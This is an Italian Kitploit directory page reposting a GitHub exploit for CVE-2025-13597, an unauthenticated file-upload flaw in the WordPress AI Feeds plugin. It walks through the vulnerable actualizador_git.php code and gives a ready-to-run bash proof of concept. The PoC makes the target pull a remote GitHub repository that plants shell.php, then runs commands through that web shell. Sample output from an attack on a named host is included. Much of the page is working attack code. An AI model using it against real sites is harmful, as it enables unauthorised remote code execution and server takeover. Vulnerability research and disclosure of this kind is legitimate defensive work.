Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-13597 — AI Feeds <= 1.0.11 - Caricamento arbitrario di file senza autenticazione | Kitploit
Strumenti/GitHubGitHub/d0n601/cve-2025-13597
Generazione di PayloadAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingStrumento di Accesso Remoto
GitHubd0n601/cve-2025-13597

CVE-2025-13597

AI Feeds <= 1.0.11 - Caricamento arbitrario di file senza autenticazione

Vedi Repository
19 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

AI Feeds <= 1.0.11 - Caricamento Arbitrario di File Non Autenticato

Il plugin WordPress AI Feeds nelle versioni 1.0.11 e precedenti contiene una vulnerabilità di esecuzione remota di codice non autenticata nel file actualizador_git.php. Questo file è direttamente accessibile via HTTP senza alcun controllo di autenticazione o autorizzazione, consentendo ad attaccanti non autenticati di scaricare repository GitHub arbitrari e sovrascrivere i file del plugin, con conseguente esecuzione remota di codice.

TL;DR Exploit

Viene fornito lo script CVE-2025-13597.py per dimostrare un attaccante remoto che carica shell.php ed esegue codice remoto:

root@kitploit:~
python3 CVE-2025-13597.py -t http://techcorp.cc -o d0n601 -r minimal-rce -k github_pat_YOURKEYHERE -c whoami
[*] Exploiting actualizador_git.php vulnerability...
[*] Downloading and installing shell from GitHub repository: d0n601/minimal-rce
Descargando d0n601/minimal-rce@main ...
Eliminando entradas extra...
Copiando archivos...
OK. Mirror aplicado en: /var/www/html/wp-content/plugins/ai-feeds

[*] Exploit executed. Checking if shell.php was created...

[*] Testing shell access...
www-data


[*] Shell should be accessible at:
    http://techcorp.cc/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND

Analisi Tecnica

La vulnerabilità risiede in /wp-content/plugins/ai-feeds/actualizador_git.php. Questo file implementa un sistema di mirroring di repository GitHub accessibile direttamente via HTTP senza alcun controllo di sicurezza.

Analisi del Percorso del Codice

  1. Accesso Diretto al File (Righe 1-17): Il file non include il controllo ABSPATH standard di WordPress (if (!defined('ABSPATH')) exit;) che impedisce l'accesso HTTP diretto. I parametri vengono letti direttamente da $_GET senza validazione:

    root@kitploit:~
    $OWNER = $_GET['owner'] ?? 'cibeles';
    $REPO  = $_GET['repo']  ?? 'svn_ai-feeds';
    $REF   = $_GET['ref']   ?? 'main';
    $TOKEN = $_GET['token'] ?? 'PON_AQUI_TU_TOKEN_PAT';
    
  2. Validazione del Token (Riga 26): L'unica validazione verifica se il token è vuoto o se corrisponde al valore predefinito. Non viene eseguita alcuna autenticazione o autorizzazione:

    root@kitploit:~
    if ($TOKEN === '' || $TOKEN === 'PON_AQUI_TU_TOKEN_PAT') { 
        http_response_code(400); 
        exit("Falta token\n"); 
    }
    
  3. Richiesta API GitHub (Riga 31, 35-58): Lo script scarica un file ZIP dall'API di GitHub utilizzando parametri controllati dall'utente:

    root@kitploit:~
    $apiUrl = "https://api.github.com/repos/{$OWNER}/{$REPO}/zipball/" . rawurlencode($REF);
    curl_download($apiUrl, $zip, $TOKEN);
    

    La funzione curl_download() invia il token nell'header Authorization ma non esegue alcuna validazione del proprietario del repository o dei contenuti.

  4. Estrazione dello ZIP e Operazioni sui File (Righe 144-169): Lo ZIP scaricato viene estratto e i file vengono copiati direttamente nella directory del plugin:

    root@kitploit:~
    $zipArc->extractTo($extractDir);
    $rootInsideZip = $extractDir . DIRECTORY_SEPARATOR . $entries[0];
    rrcopy_into($rootInsideZip, $cwd, $PRESERVE);
    

    La funzione rrcopy_into() copia ricorsivamente tutti i file dal repository estratto alla directory di lavoro corrente (directory del plugin), sovrascrivendo i file esistenti.

  5. Eliminazione dei File (Righe 164-165): I file non presenti nel repository scaricato vengono eliminati:

    root@kitploit:~
    mirror_delete_extras($cwd, $keepSet, $PRESERVE);
    

    La funzione mirror_delete_extras() elimina tutti i file nella directory del plugin che non esistono nel manifest del repository.

Proof of Concept

root@kitploit:~
TARGET="http://example.com"
OWNER="your_username"
REPO="minimal-rce"
TOKEN="github_pat_blablabla"

COMMAND="whoami"

echo "[*] Exploiting actualizador_git.php vulnerability..."
echo "[*] Downloading and installing shell from GitHub repository: ${OWNER}/${REPO}"

curl -s "${TARGET}/wp-content/plugins/ai-feeds/actualizador_git.php?owner=${OWNER}&repo=${REPO}&ref=main&token=${TOKEN}"

echo ""
echo "[*] Exploit executed. Checking if shell.php was created..."
echo ""

echo "[*] Testing shell access..."
curl -s "${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=${COMMAND}"

echo ""
echo ""
echo "[*] Shell should be accessible at:"
echo "    ${TARGET}/wp-content/plugins/ai-feeds/shell.php?cmd=COMMAND"
Scarica lo strumento